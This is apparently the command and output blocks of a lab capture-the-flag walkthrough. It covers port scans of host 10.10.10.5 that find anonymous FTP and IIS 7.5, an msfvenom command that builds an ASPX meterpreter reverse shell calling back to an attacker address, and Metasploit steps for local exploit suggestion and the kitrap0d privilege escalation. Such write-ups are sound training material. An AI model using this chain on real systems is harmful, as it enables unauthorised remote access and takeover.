1
_______________________________________
2
 http://discord.skerritt.blog         :
3
 https://github.com/RustScan/RustScan :
4
--------------------------------------
5
Scanning ports faster than you can say 'SYN ACK'
6
~] The config file is expected to be at "/home/kali/.rustscan.toml"
7
~] File limit higher than batch size. Can increase speed by increasing batch size '-b 924'.
8

9
open 10.10.10.5:21
10
open 10.10.10.5:80

1
nmap -sC -sV -T5 -A -p21,80 -oA nmap/initials 10.10.10.5

1
# Nmap 7.94SVN scan initiated Fri May 16 01:17:17 2025 as: nmap -sC -sV -T5 -A -p21,80 -oA nmap/initials 10.10.10.5
2
Nmap scan report for 10.10.10.5 (10.10.10.5)
3
Host is up (0.16s latency).
4

5
PORT   STATE SERVICE VERSION
6
21/tcp open  ftp     Microsoft ftpd
7
| ftp-syst:
8
|_  SYST: Windows_NT
9
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
10
| 03-18-17  02:06AM       <DIR>          aspnet_client
11
| 03-17-17  05:37PM                  689 iisstart.htm
12
|_03-17-17  05:37PM               184946 welcome.png
13
80/tcp open  http    Microsoft IIS httpd 7.5
14
|_http-title: IIS7
15
| http-methods:
16
|_  Potentially risky methods: TRACE
17
|_http-server-header: Microsoft-IIS/7.5
18
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
19

20
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21
# Nmap done at Fri May 16 01:17:37 2025 -- 1 IP address (1 host up) scanned in 20.13 seconds

1
msfvenom -p windows/meterpreter/reverse_tcp \
2
  LHOST=10.10.16.10 LPORT=1337 \
3
  -f aspx \
4
  -o msf_shell.aspx

1
use post/multi/recon/local_exploit_suggester
2
set SESSION 1
3
run

1
use exploit/windows/local/ms10_015_kitrap0d
2
set SESSION 1
3
set lhost 10.10.16.10
4
run